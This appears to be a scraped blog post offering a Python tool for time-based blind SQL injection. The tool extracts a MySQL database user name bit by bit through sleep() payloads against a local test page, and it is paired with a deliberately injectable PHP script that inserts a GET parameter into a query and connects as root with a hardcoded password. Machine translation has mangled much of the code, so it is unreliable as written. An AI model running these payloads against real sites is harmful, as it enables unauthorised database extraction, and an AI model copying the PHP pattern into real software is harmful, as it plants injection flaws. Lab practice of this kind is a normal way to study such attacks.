PY deferred injection SQL script

Delay injection tool (Python)

#!/usr/bin/env python#-*-coding:utf-8-*-#Delay Injection ToolImportUrllib2Import TimeImportSocketImportThreadingImportRequestsclassmy_threading (Threading. Thread):def __init__(self, str,x): Threading. Thread.__init__(self) self.str=Str self.x=xdefRun (self):GlobalRes x=self.x J=self.str URL="Http://localhost/pentest/1.php?username=root ' +and+if%281=%28mid%28lpad%28bin%28ord%28mid%28%28select% 20user ()%29,"+ str (x) +", 1%29%29%29,8,0%29,"+ STR (j) +", 1%29%29,sleep%282%29,0%29%23"HTML=Request (URL) Verify='Timeout'      ifVerify not inchHtml:res[str (j)]=0#Print 1      Else: Res[str (j)]= 1defrequest (URL): User_agent= {'user-agent':'mozilla/5.0 (Macintosh; Intel Mac OS X 10_7_3) applewebkit/534.55.3 (khtml, like Gecko) version/5.1.3 safari/534.53.10'} req=Urllib2. Request (URL, None, user_agent)Try: Request= Urllib2.urlopen (req,timeout=2)  exceptException, E:time.sleep (2)    return 'Timeout'  returnRequest.read ()defCurl (URL):Try: Start=Time.clock () requests.get (URL) End=Time.clock ()returnint (end)exceptrequests. Requestexception as E:PrintU"Access Error!"exit ()defgetlength (): I=0 whileTrue:Print "[+] Checking:%s \ r"%I URL="http://localhost/pentest/1.php?username=root ' +and+sleep (if (Length (Select%20user ())) ="+ STR (i) +", 1,0)) %23"HTML=Request (URL) Verify='Timeout'    ifVerifyinchHTML:PrintU"[+] Data length is:%s"%IreturnI i= i + 1defBin2dec (string_num):returnInt (String_num, 2)defGetData (datalength):GlobalRes Data=""   forXinchRange (datalength): x= x + 1#Print xThreads = []     forJinchRange (8): Result=""J= j + 1SB=my_threading (j,x) Sb.setdaemon (True) threads.append (SB)#Print J     forTinchThreads:t.start () forTinchThreads:t.join ()#Print ResTMP =""     forIinchRange (8): TMP= tmp + str (RES[STR (i+1)])    #Print Chr (BIN2DEC (TMP))res ={} result=chr (BIN2DEC (TMP))Printresult Data= Data +result SB=NonePrint "[+] ok!"  Print "[+] Result:"+Dataif __name__=='__main__': Stop=False Res={} length=getlength () getData (length)

It can be a complicated environment.

PHP Script Modify <?php
/*
* Delayed injection test
*/
Header ("Content-type:text/html;charset=utf8");
$link = mysql_connect ("localhost", "root", "123456");
mysql_select_db ("MySQL", $link);
Mysql_set_charset ("UTF8");
$sql = "Select User from user where user= ' {$_get[' username '} '";
Echo $sql;
$query = mysql_query ($sql);
echo "123123123";
?>

PY deferred injection SQL script